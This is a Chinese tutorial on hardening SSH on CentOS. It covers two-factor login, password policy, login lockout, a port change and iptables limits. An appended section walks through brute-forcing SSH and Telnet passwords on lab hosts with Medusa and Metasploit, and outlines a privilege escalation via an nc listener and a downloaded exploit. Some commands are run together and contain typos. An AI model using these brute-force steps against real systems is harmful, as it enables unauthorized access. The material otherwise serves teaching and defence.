Linux SSH 安全加固,这里使用CentOS7.5 做演示

一、配置SSH双因素登录

​ 1.确定系统时钟是正确的

2.安装相关依赖

​ yum install -y git gcc automake autoconf libtool make pam-devel

​ 3.安装google 验证器

git clone https://github.com/google/google-authenticator-libpam
cd google-authenticator-libpam
./bootstrap.sh
./configure
make && make install
ln -fs /usr/local/lib/security/pam_google_authenticator.so /lib64/security/

​ 4.配置验证器
​ 修改SSH文件 将ChallengeResponseAuthentication 修改为yes
​ 修改PAM文件 vim /etc/pam.d/sshd 在auth substack password-auth下面一行添加 auth required pam_google_authenticator.so
​ 关闭selinux 修改/etc/sysconfig/selinux 文件 将 SELINUX=enforcing 修改为disabled
​ google-authenticator
​ 重启SSH服务

二、设置密码长度以及复杂度

​ 1.设置密码长度

修改 /etc/login.defs文件
将PASS_MIN_LEN 数值修改
修改 /etc/pam.d/system_auth配置文件
在password requisite 行后边添加: minlen=数值

​ 2.设置密码复杂度

方法一:修改/etc/pam.d/system-auth
在password requisite 行后边添加:ucredit=-1 #至少包含1位大写字母lcredit=-1 #至少包含1位小写字母ocredit=-1 #至少包含1位特殊字符dcredit=-1 #至少包含1位数字
方法二:使用如下命令:authconfig --enablereqlower --updateauthconfig --enablerequpper --updateauthconfig --enablereqdigit --updateauthconfig --enablereqother --update

三、设置密码重试限制

1.限制tty登录

修改login文件:
# vi /etc/pam.d/login
在#%PAM-1.0下面插入一行,也就是在第二行插入如下内容:
auth required pam_tally2.so deny=5 unlock_time=1800 even_deny_root
root_unlock_time=3600
# 注意:上述配置必须在第二行,否则即使用户被锁定了,输入正确的用户名和密码也可以登录的。
# 普通用户和root用户,密码输入错误5次,都会被锁定,普通用户被锁定1800秒,root用户被锁定3600秒
# deny=5表示密码输入错误5次
# unlock_time=1800表示普通用户锁定的时间,单位为秒
# root_unlock_time=3600表示root用户锁定的时间,单位为秒
# even_deny_root表示root用户也锁定

2.限制ssh登录

# vi /etc/pam.d/sshd
在#%PAM-1.0下面插入一行,也就是在第二行插入如下内容:
auth required pam_tally2.so deny=5 unlock_time=1800 even_deny_root
root_unlock_time=1800
# 注意:上述配置必须在第二行,否则即使用户被锁定了,输入正确的用户名和密码也可以登录的。

扩展

1、Medusa SSH弱口令破解

如果在设置SSH服务时,管理员设置了容易被猜解出来的用户名和密码(弱口令)。那么充实人员就可以使用对应的密码工具进行暴力破解弱口令。破解出来就可以使用对应的用户名和密码登录系统

Medusa对特点的ssh服务进行用户名和密码破解

将需要破解的密码,写入pass.txt文档中,
/root/Desktop/#vi pass.txt
123456
12341234
123123
asdasfdsd
12345678用pass.txt里面的密码,进行破解
#medusa -h 192.168.1.100 -u msfadmin -P /root/Desktop/pass.txt -M ssh




2、Metasploit利用SSH登录反弹Shell

使用Metasploit可以进行ssh登录(破解),会自动建立对应的Bash shell连接。

# msfconsole
msf>use auxiliary/scanner/ssh/ssh_login
msf>show optionsmsf>set rhost 192.168.1.100
msf>set username msadmin
msf>set options msf>set password msadmin
msf>show options运行run,进行ssh登录
msf>run查看连接的会话
msf>sessions -l查看登录用户的ID
msf>sessions -i 1






3、Metasploit获取Metaspreter Shell

利用获取的Bash shell,注入Metasploit中Metaspreter payload从而获取更强大功能的shell

# msfconsole
msf>use auxiliary/scanner/ssh/ssh_login
msf>show options登录系统
msf>run查看会话2的具体信息
msf>sessions -u 2
msf>sessions -l查看帮助
msf>help
msf>msf>sessions -u 4
msf>exit




查看连接情况

# netstat -pantu
#ifconfig


# msfconsole
msf>use auxiliary/scanner/ssh/ssh_login
msf>show optionsmsf>set rhosts 192.168.1.100
msf>set username msfadmin
msf>set password msfadmin
msf>runmsf>sessions -l查看会话1的登录端口等信息
msf>sessions -u 1
msf>sessions -l查看登录的系统版本信息
msf>sysinfo
msf>




SSH安全防御

1、SSH修改默认端口
2、SSH防御暴力破解用户账号
3、SSH设置PGP登录
4、Iptables设置阈值防止暴力破解

1、SSH修改默认端口

默认情况下,SSH使用22端口。为了安全,一般情况下都会修改默认端口

#service sshd status
#vi /etc/ssh/sshd_conifg
port 66#service sshd restart


注意:修改之后,必须重启ssh服务

2、SSH防御暴力破解用户账号

在Linux下可以配置不能使用用户名和密码登录,只使用SSH PGP方式验证登录。规避了SSH暴力破解

出现问题 :不能使用用户密码登录,很大程度上存在复杂操作


测试

配置成功

3、SSH设置PGP登录

默认情况下,SSH使用用户名和密码远程登录。但也可以使用密钥对进程身份验证登录(公钥和私钥)









4、Iptables设置阈值防止暴力破解

利用Iptables对多次连接验证错误,进行账户锁定120秒

#iptables -I INPUT -p tcp --dport 22 -i eth0 -m state NEW -m recent --set
#iptables -I INPUT -p tcp --dport 22 -i eth0 -m state NEW -m recent --update --seconds 120 --hitcount 3 -j DROP#service ssh restart


在设置完之后,需要重新启动SSH服务

暴力破解、认证过程、登录提权

1、telnet版本获取
2、telnet密码破解
3、telnet登录测试
针对Telnet暴力破解

Telnet服务端默认情况下使用23端口
1、telnet版本获取
使用nmap获取telnet版本信息,或者使用metasploit获取对应版本信息。

#nmap -p23 -sV 192.168.1.105


使用msfconsole

# msfconsole
msf>use auxiliary/scanner/telnet/telnet_version
msf>show options
运行run,进行ssh登录
msf>run查看连接的会话
msf>sessions -l查看登录用户的ID
msf>sessions -i 1msf>search telnet



2、telnet密码破解

msf>use auxiliary/scanner/telnet/telnet_login
msf>set rhosts 192.168.1.105
msf>show optionsmsf>set username msfadmin
msf>set password msfadmin
msf>set password
查看用户密码
msf>show options取消查看用户密码
msf>unset password
msf>show optionsmsf>set pass_file /root/Desktop/pass.txt
msf>set threads 10运行命令,从pass.txt中的密码一个一个测试
msf>run
msf>
msf>







3、telnet登录测试
使用破解好的会话链接telnet,并执行对应命令。
使用sessions -l 例举建立的会话
使用sessions -i id 使用对应的会话

msf>sessions -l
msf>sessions -i id #ifconfig


telnet登录提权

1、msf登录telnet
2、设置kali nc监听
3、msf连接shell下载exp
4、编译执行exp,获取root

1、msf登录telnet
在metasploit中使用telnet_login进行登录,并使用sessions -i id 连接shell

# msfconsole
msf>use auxiliary/scanner/telnet/telnet_login
msf>set rhosts 192.168.1.105
msf>show optionsmsf>set username msfadmin
msf>set password msfadmin
msf>set passwordmsf>run
msf>sessions -l
msf>sessions -i 1



2、msf连接shell下载exp









参考链接 :
CentOS7.0系统安全加固手册 : https://www.jianshu.com/p/501346ec6b26

Linux SSH安全加固 :https://www.jianshu.com/p/a953e70ea997

作者:Odinmx
链接:https://www.jianshu.com/p/a953e70ea997
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

1 Linux SSH安全加固相关推荐

  1. linux root ssh 安全,linux ssh安全加固方法

    [root@localhost .ssh]# su - test1禁止root用户登录: 为增强安全, 先增加一个普通权限的用户: #useradd ***** #passwd ****** //设置 ...

  2. Linux系统安全加固浅谈

    对于企业来说,安全加固是一门必做的安全措施.主要分为:账号安全.认证授权.协议安全.审计安全.总的来说,就是4A(统一安全管理平台解决方案),账号管理.认证管理.授权管理.审计管理.用漏洞扫描工具扫描 ...

  3. 云服务器运维 - Linux 操作系统安全加固/防范黑客攻击

    文章目录 云服务器运维 - Linux 操作系统安全加固/防范黑客攻击 1.帐号 1.1 禁用或删除无用账号 1.2 检查特殊账号 1.3 添加口令策略 1.4 限制用户su 1.5 禁止root用户 ...

  4. Linux ssh/scp/docker学习

    文章目录 Linux ssh/scp/docker使用学习 1. ssh 登录 2. scp传输文件 3. docker 4. git checkout 替换指定分支的单个文件 Linux ssh/s ...

  5. vscode 使用ssh密钥登录远程Linux -- vscode remote linux ssh key

    此文首发于我的个人博客:vscode 使用ssh密钥登录远程 Linux – vscode remote linux ssh key - zhang0peter的个人博客 推荐先看文章:Windows ...

  6. linux主机操作性日志恢复测试,Linux主机操作系统加固规范标准[详].doc

    . . Linux主机操作系统加固规范 目 录 TOC \o "1-5" \h \z 1账号管理.认证授权 1 1.1账号 1 1.1.1SHG-Linux-01-01-01 1 ...

  7. Linux SSH和SFTP服务分离

    Linux SSH和SFTP服务分离 学习了:https://www.cnblogs.com/zihanxing/articles/5665383.html 都是监听22端口:

  8. linux ssh 报错failed - POSSIBLE BREAK-IN ATTEMPT

    linux ssh 报错failed - POSSIBLE BREAK-IN ATTEMPT 问题故障: 今天在新租的虚拟机上,发现ssh登陆机器的时候报错,如下: [root@pictures_ne ...

  9. linux安全pdf,linux系统安全加固.pdf

    通用 linux 系统安全加固手册 系统安全加固手册 1 帐户安全配置要求 1 帐户安全配置要求 1.1 创建/etc/shadow 影子口令文件 1.1 创建/etc/shadow 影子口令文件 配 ...

最新文章

  1. Linux系统管理必备知识之查看系统用户和用户组
  2. Android系统广播大全
  3. 如何设置可见性Android软键盘
  4. [机器学习] Boosting算法1 --- AdaBoost
  5. NB-IOT连接移动onenet平台流程
  6. 黄聪:【强烈推荐】搜索引擎排名决定一切吗!
  7. 技术干货|基于Apache Hudi 的CDC数据入湖「内附干货PPT下载渠道」
  8. 分别用函数和带参的宏,从三个数中找出最大的数。
  9. Java IO 系列(01)-Java IO概述
  10. cocos2d-x学习 之四
  11. mysql中distinct走索引吗_MySQL中索引优化distinct语句及distinct的多字段操作
  12. OsmocomBB编译及GSM嗅探问题(转)
  13. 速读-对抗攻击的弹性异构DNN加速器体系结构
  14. mumu的adb_MuMu模拟器进行adb操作
  15. NOIP2018普及赛后总结
  16. windows7怎么能不锁定计算机,怎么设置电脑不锁屏
  17. Axon Framework官方文档(五)
  18. [GBase 8s 教程]GBase 8s 分页语法
  19. Spring MVC源码 ----- @RequestBody和@ResponseBody原理解析
  20. 雨听 | 网页数据修改

热门文章

  1. 叙述计算机网络的分类与拓扑结构,计算机的网络中有线网络和无线网络最主要的区别是()。...
  2. linux常见问题解决方法,Ubuntu 下2个常见问题解决方法
  3. 64如何传入后台_如何保证API接口数据安全?
  4. 设计模式原则之五:里氏置换原则
  5. android 中的 odex 文件
  6. Android程序的退出
  7. Qt实现Areo效果
  8. 用c语言实现键盘画图,用C实现键盘画图.doc
  9. 大数据将如何重塑亚洲企业
  10. 从Java到C++——常量的使用规则